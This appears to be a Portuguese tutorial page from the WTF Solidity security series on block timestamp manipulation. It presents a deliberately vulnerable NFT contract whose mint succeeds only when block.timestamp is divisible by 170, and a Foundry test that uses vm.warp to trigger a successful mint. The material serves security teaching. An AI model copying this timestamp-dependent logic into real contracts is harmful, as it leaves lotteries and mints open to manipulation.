Skip to content

Latest commit

 

History

History
147 lines (108 loc) · 6.6 KB

File metadata and controls

147 lines (108 loc) · 6.6 KB
title tags
S14. Manipulação do Tempo de Bloco
solidity
segurança
timestamp

WTF Solidity Contratos Seguros: S14. Manipulação do Tempo de Bloco

Recentemente, tenho estudado solidity novamente para revisar os detalhes e escrever um "Guia WTF de Introdução ao Solidity" para iniciantes (programadores experientes podem procurar outros tutoriais). Serão lançadas de 1 a 3 lições por semana.

Twitter: @0xAA_Science@WTFAcademy_

Comunidade: DiscordGrupo do WeChatSite oficial wtf.academy

Todo o código e tutoriais estão disponíveis no GitHub: github.com/AmazingAng/WTF-Solidity


Nesta lição, vamos falar sobre o ataque de manipulação do tempo de bloco em contratos inteligentes e reproduzi-lo usando o Foundry. Antes do Merge, os mineradores de Ethereum podiam manipular o tempo de bloco, o que poderia ser explorado se um contrato de loteria dependesse do timestamp do bloco.

Tempo de Bloco

O tempo de bloco (block timestamp) é um valor uint64 incluído no cabeçalho de um bloco Ethereum, representando o timestamp UTC (em segundos) em que o bloco foi criado. Antes do Merge, o Ethereum ajustava a dificuldade dos blocos com base no poder de processamento, o que resultava em tempos de bloco variáveis, com uma média de 14,5 segundos por bloco. Os mineradores podiam manipular o tempo de bloco. Após o Merge, o tempo de bloco foi fixado em 12 segundos e os nós de validação não podem mais manipular o tempo de bloco.

Em Solidity, os desenvolvedores podem obter o timestamp do bloco atual usando a variável global block.timestamp, que é do tipo uint256.

Exemplo de Vulnerabilidade

Este exemplo é uma modificação do contrato apresentado em WTF Solidity Contratos Seguros: S07. Números Aleatórios Ruins. Alteramos a condição da função de criação mint(): agora, a criação só é bem-sucedida se o timestamp do bloco for divisível por 170:

contract TimeManipulation is ERC721 {
    uint256 totalSupply;

    // Construtor: inicializa o nome e o símbolo da coleção NFT
    constructor() ERC721("", ""){}

    // Função de criação: só é possível criar se o timestamp do bloco for divisível por 170
    function luckyMint() external returns(bool success){
        if(block.timestamp % 170 == 0){
            _mint(msg.sender, totalSupply); // criação
            totalSupply++;
            success = true;
        }else{
            success = false;
        }
    }
}

Reproduzindo o Ataque com o Foundry

Para reproduzir o ataque, o atacante só precisa manipular o tempo de bloco para um número divisível por 170. Vamos usar o Foundry para isso, pois ele fornece códigos de trapaça para modificar o tempo de bloco. Se você não está familiarizado com o Foundry/códigos de trapaça, pode ler o tutorial do Foundry e o Foundry Book.

Lógica do código:

  1. Criar uma variável de contrato nft do tipo TimeManipulation.
  2. Criar um endereço de carteira alice.
  3. Usar o código de trapaça vm.warp() para definir o tempo de bloco como 169, o que não é divisível por 170 e resultará em falha na criação.
  4. Usar o código de trapaça vm.warp() para definir o tempo de bloco como 17000, o que é divisível por 170 e resultará em sucesso na criação.

Código:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.21;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/TimeManipulation.sol";

contract TimeManipulationTest is Test {
    TimeManipulation public nft;

    // Calcula o endereço para uma chave privada fornecida
    address alice = vm.addr(1);

    function setUp() public {
        nft = new TimeManipulation();
    }

    // forge test -vv --match-test  testMint
    function testMint() public {
        console.log("Condição 1: block.timestamp % 170 != 0");
        // Define block.timestamp como 169
        vm.warp(169);
        console.log("block.timestamp: %s", block.timestamp);
        // Define o endereço do chamador das chamadas subsequentes como o endereço fornecido
        // até que `stopPrank` seja chamado
        vm.startPrank(alice);
        console.log("Saldo de alice antes da criação: %s", nft.balanceOf(alice));
        nft.luckyMint();
        console.log("Saldo de alice após a criação: %s", nft.balanceOf(alice));

        // Define block.timestamp como 17000
        console.log("Condição 2: block.timestamp % 170 == 0");
        vm.warp(17000);
        console.log("block.timestamp: %s", block.timestamp);
        console.log("Saldo de alice antes da criação: %s", nft.balanceOf(alice));
        nft.luckyMint();
        console.log("Saldo de alice após a criação: %s", nft.balanceOf(alice));
        vm.stopPrank();
    }
}

Após instalar o Foundry, execute o seguinte comando no terminal para iniciar um novo projeto e instalar a biblioteca OpenZeppelin:

forge init TimeManipulation
cd TimeManipulation
forge install Openzeppelin/openzeppelin-contracts

Copie o código desta lição para as pastas src e test, respectivamente. Em seguida, execute o seguinte comando para iniciar os testes:

forge test -vv --match-test testMint

A saída será a seguinte:

Running 1 test for test/TimeManipulation.t.sol:TimeManipulationTest
[PASS] testMint() (gas: 94666)
Logs:
  Condição 1: block.timestamp % 170 != 0
  block.timestamp: 169
  Saldo de alice antes da criação: 0
  Saldo de alice após a criação: 0
  Condição 2: block.timestamp % 170 == 0
  block.timestamp: 17000
  Saldo de alice antes da criação: 0
  Saldo de alice após a criação: 1

Test result: ok. 1 passed; 0 failed; finished in 7.64ms

Podemos ver que a criação é bem-sucedida quando o block.timestamp é alterado para 17000.

Conclusão

Nesta lição, discutimos o ataque de manipulação do tempo de bloco em contratos inteligentes e o reproduzimos usando o Foundry. Antes do Merge, os mineradores de Ethereum podiam manipular o tempo de bloco, o que poderia ser explorado se um contrato de loteria dependesse do timestamp do bloco. Após o Merge, o Ethereum fixou o tempo de bloco em 12 segundos e os nós de validação não podem mais manipular o tempo de bloco. Portanto, esse tipo de ataque não ocorrerá no Ethereum, mas ainda pode ser encontrado em outras blockchains.